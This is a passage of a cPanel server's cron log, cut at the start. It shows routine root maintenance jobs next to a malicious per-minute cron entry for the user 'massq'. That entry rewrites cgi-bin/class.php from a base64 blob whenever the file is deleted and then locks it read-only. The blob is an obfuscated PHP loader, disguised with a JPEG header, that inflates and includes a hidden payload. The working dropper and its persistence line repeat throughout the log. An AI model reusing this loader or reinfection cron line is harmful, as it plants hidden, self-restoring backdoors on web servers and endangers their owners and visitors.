BpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:09:01 server CROND[25394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:10:01 server CROND[25790]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:10:01 server CROND[25793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:10:01 server CROND[25795]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:10:01 server CROND[25800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:10:01 server CROND[25798]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:10:01 server CROND[25799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:10:01 server CROND[25802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:10:01 server CROND[25797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:11:01 server CROND[26624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:11:01 server CROND[26625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:11:01 server CROND[26626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:12:01 server CROND[26993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:12:01 server CROND[26995]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 04:12:01 server CROND[26994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:12:01 server CROND[26996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:13:01 server CROND[27462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:13:01 server CROND[27463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:13:01 server CROND[27464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:14:01 server CROND[27827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:14:01 server CROND[27828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:14:01 server CROND[27829]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:15:01 server CROND[28217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:15:01 server CROND[28219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:15:01 server CROND[28225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:15:01 server CROND[28228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:15:01 server CROND[28229]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 04:15:01 server CROND[28227]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:15:01 server CROND[28231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:15:01 server CROND[28226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:15:01 server CROND[28232]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 04:16:01 server CROND[29122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:16:01 server CROND[29123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:16:01 server CROND[29124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:17:01 server CROND[29486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:17:01 server CROND[29487]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:17:01 server CROND[29488]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  2 04:17:01 server CROND[29489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:18:01 server CROND[30063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:18:01 server CROND[30064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:18:01 server CROND[30065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:19:01 server CROND[30449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:19:01 server CROND[30451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:19:01 server CROND[30450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:20:01 server CROND[30835]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 04:20:01 server CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 04:20:01 server CROND[30837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 04:20:01 server CROND[30841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:20:01 server CROND[30843]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 04:20:01 server CROND[30844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 04:20:01 server CROND[30845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 04:20:01 server CROND[30846]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 04:20:01 server CROND[30842]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 04:21:01 server CROND[31689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 04:21:01 server CROND[31688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
